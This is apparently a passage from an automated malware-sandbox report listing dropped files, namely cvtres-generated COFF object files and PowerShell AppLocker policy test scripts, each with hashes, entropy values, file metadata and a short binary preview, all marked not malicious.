SSDEEP:	24:HazW9nZfdeKDfH6wKEsmNwI+ycuZhNPqakS0bPNnqS2d:fBdeQxKhmm1ulPqa30RqSG
MD5:	AB8D93FA572CB3FA126F008842D2C159
SHA1:	EEC5828D9DC7884E28077AA91733FE832EBF00C9
SHA-256:	6561BFC58E106D2F0DD1881ECB8D52FE4D8D6D930D31AF0DFC5AD4C6E9A15861
SHA-512:	693C33C984B51B19325E6AAFF855FF5DB08C5A5BE0D558AB2DD86AE1FA2812F67F5CCE386F11F33B79FECE3B1AD857124CE89B0BC8884EB177BA9803B686500E
Malicious:	false
Preview:	L...^..f.............debug$S........P...................@..B.rsrc$01........X.......4...........@..@.rsrc$02........P...>...............@..@........S....c:\Users\user\AppData\Local\Temp\ajmbpkj3\CSCE65DF8D061034580A252685BFDC82FC.TMP................"w.p..3...R...d ..........4.......C:\Users\user\AppData\Local\Temp\RES1BAC.tmp.-.<....................a..Microsoft (R) CVTRES.^.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...a.j.m.b.p.k.j.3...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.

C:\Users\user\AppData\Local\Temp\RES481A.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols, created Mon Sep 16 19:09:29 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	3.9979831575214346
Encrypted:	false
SSDEEP:	24:H3zW9nZfnQKNDfHkYwKEsmNwI+ycuZhNm1akS/6PNnqS2d:GBQKREnKhmm1ulKa3eqSG
MD5:	7320286C195DF07045052AAB552B7136
SHA1:	A68852BDED2C98D97B0AAB194A3401AF653E98FD
SHA-256:	8EB8FB730B8C1DF09F6636341C08A0A16B088571CCCA2BE4C9412B128179C758
SHA-512:	CCDC787BD7702D1C7AD473FC4D021305E6A43165389C08E1806B11C755F480FA3D354ADD61AEC81ADABF66D388978B18A6ABA0A8C5F4F3A0C91203CE904B9EC5
Malicious:	false
Preview:	L...i..f.............debug$S........P...................@..B.rsrc$01........X.......4...........@..@.rsrc$02........P...>...............@..@........S....c:\Users\user\AppData\Local\Temp\vprxgw2h\CSCDBD4A03E654548E897E49139DD675E5.TMP................yr...3...wo...............4.......C:\Users\user\AppData\Local\Temp\RES481A.tmp.-.<....................a..Microsoft (R) CVTRES.^.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...v.p.r.x.g.w.2.h...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.

C:\Users\user\AppData\Local\Temp\RES5E23.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols, created Mon Sep 16 19:09:34 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	3.9906006983484654
Encrypted:	false
SSDEEP:	24:HKzW91+frDfHULFwKEsmNwI+ycuZhNCqakStbPNnqS2d:g30LmKhmm1ulCqa3tRqSG
MD5:	23FB79457857C24F57C01D171FFD4630
SHA1:	2D9A9ACDBFC88F7F558294BE2B7FDF28C7758499
SHA-256:	A46861E59CA798E172598D6CAB8944E733CF9B66CD37D1E0B465F643D35B8E21
SHA-512:	A46B0F817D93075B4AFED8488F2744FC370B9DA995F9318A056854269002EEA86BCE655ACFFE35C7C1FF18813CD546D7010C423A47EFB33902A2CEC403318AE2
Malicious:	false
Preview:	L...n..f.............debug$S........P...................@..B.rsrc$01........X.......4...........@..@.rsrc$02........P...>...............@..@........T....c:\Users\user\AppData\Local\Temp\4jzsybvo\CSC322DF87CD509445AB01BD8C0B6EFDFFF.TMP...............f./s.p.-..Ck3w{+..........4.......C:\Users\user\AppData\Local\Temp\RES5E23.tmp.-.<....................a..Microsoft (R) CVTRES.^.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...4.j.z.s.y.b.v.o...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.

C:\Users\user\AppData\Local\Temp\RES5EA9.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols, created Mon Sep 16 19:07:23 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	3.9940716478299607
Encrypted:	false
SSDEEP:	24:HdgzW9nZfEIkDfHlwKEsmNwI+ycuZhNjakS1PNnqS2d:nBimKhmm1ulja3vqSG
MD5:	2C852D813DFBF0E13E9A3B2B5703310F
SHA1:	13F54182107416F29AFB44B128C83BEB9626C06F
SHA-256:	A8BE4FDFD830D3EB9DF3BD014198F558C8770DA2CEBF2A013DDC55B34A04FD3D
SHA-512:	72F02C052A0F2DFB74395BC9081CF19C9576D444B1E756A3CDC6B9E9E7D3C54A3D193CCEC100252414CE69671C9EAABEA82482FB665CD3DD0E72B8F3960A4047
Malicious:	false
Preview:	L.....f.............debug$S........P...................@..B.rsrc$01........X.......4...........@..@.rsrc$02........P...>...............@..@........S....c:\Users\user\AppData\Local\Temp\ps21mg5n\CSC5DBDDEA583D47AC992FDED4A9FE5F6F.TMP.................e..,'.V*%...............4.......C:\Users\user\AppData\Local\Temp\RES5EA9.tmp.-.<....................a..Microsoft (R) CVTRES.^.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...p.s.2.1.m.g.5.n...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.

C:\Users\user\AppData\Local\Temp\RES5EE8.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols, created Mon Sep 16 19:07:23 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	3.999853091383057
Encrypted:	false
SSDEEP:	24:HdgzW91+fwZ4guDfHWwKEsmNwI+ycuZhNWANqakSJANbPNnqS2d:4AFUVKhmm1ulWA0a3JAbqSG
MD5:	35F145C77C6BCE1AABF43F25EF5E01B4
SHA1:	F16BDDC271817393421D32F483921C0B5903FCC1
SHA-256:	0C03B6E81FE351D6F2B571C3438EF7F6184516E2261455883ED6360D1EE8AB32
SHA-512:	2CB5E8A66DA58509604B13C66221224F0D10EDB7C83C3F2CCEE18F3EBEF6D3AC15DCB17C10CC78C67B6E53498087E0B0095F067DF4792AEB242FE66DE43E6641
Malicious:	false
Preview:	L.....f.............debug$S........P...................@..B.rsrc$01........X.......4...........@..@.rsrc$02........P...>...............@..@........T....c:\Users\user\AppData\Local\Temp\ej40y3sl\CSCC31C8219248740B7B5892F735789A26B.TMP...............Te."1[..................4.......C:\Users\user\AppData\Local\Temp\RES5EE8.tmp.-.<....................a..Microsoft (R) CVTRES.^.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...e.j.4.0.y.3.s.l...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.

C:\Users\user\AppData\Local\Temp\RES5EE9.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols, created Mon Sep 16 19:07:23 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	3.9946400552143775
Encrypted:	false
SSDEEP:	24:HdgzW9nZfYdDfHSQwKEsmNwI+ycuZhNuhakShGPNnqS2d:nBMy/Khmm1ul0a3IqSG
MD5:	FB80FBDF1025E5A48B4BADF455B2D3E2
SHA1:	A9CC9DD011854812A9CFFD7B880BD9126678361F
SHA-256:	3233165CDE9BEE12F99A213EC1E5CAFFF5BD573DBD94C30F91F1113560DCF643
SHA-512:	3722A58C535DC0FEC22573E4D5BF29DA8F3E15B98E088D1C537BCDA2D2F880986BC6547CEB0C245F86DFE8DA7596E585FBA9E21AD312B9E45A642B6330191908
Malicious:	false
Preview:	L.....f.............debug$S........P...................@..B.rsrc$01........X.......4...........@..@.rsrc$02........P...>...............@..@........S....c:\Users\user\AppData\Local\Temp\ebaw0fq2\CSCA5D62A791D6B45AE841FF60C5C2CAA0.TMP....................;k.9./.z..T...........4.......C:\Users\user\AppData\Local\Temp\RES5EE9.tmp.-.<....................a..Microsoft (R) CVTRES.^.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...e.b.a.w.0.f.q.2...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.

C:\Users\user\AppData\Local\Temp\RES5EF7.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols, created Mon Sep 16 19:07:23 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	4.007919122223035
Encrypted:	false
SSDEEP:	24:HdgzW91+fZDfHUwKEsmNwI+ycuZhNhSakSQzPNnqS2d:4d7Khmm1ulhSa3Q5qSG
MD5:	CB75C077D246055AE38796C6ECACE404
SHA1:	54466974D49121CD6F733F77C66B83C5285210A3
SHA-256:	6E21B52B2E46DFEF1B352B541F8BC27B5EDD961343C784F4A8A38ED13F231E06
SHA-512:	EEA9EB7F9FB1D14450510DC398D63D713543FBDE8FD182DCB40418C9C7D45EBD17F02F1B225503DCDCED8C8DB26B8288EC59A6B272CA0FFFF9D22DB420BCE154
Malicious:	false
Preview:	L.....f.............debug$S........P...................@..B.rsrc$01........X.......4...........@..@.rsrc$02........P...>...............@..@........T....c:\Users\user\AppData\Local\Temp\oc0yukq2\CSC4B0ED8321FD4439294DC7A78D177B3A7.TMP..................._o...Q.c...I..........4.......C:\Users\user\AppData\Local\Temp\RES5EF7.tmp.-.<....................a..Microsoft (R) CVTRES.^.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...o.c.0.y.u.k.q.2...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2as0kocp.n4x.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2p11iczm.y30.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2zsic1wm.lzh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4g3eeajb.npr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4wliyvko.rgc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_avqzdyxf.aam.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_capywqt4.kbx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dh0rwzii.mob.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gdnhyebw.r3y.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_heal5xez.2oc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ifectskd.zsa.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lzhbox0o.ato.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ogcqbfva.ahp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pov2iex3.crf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q01g1odq.zjh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qk33hrq0.kmf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sa2ichcr.slq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tvtn1wz5.qvt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

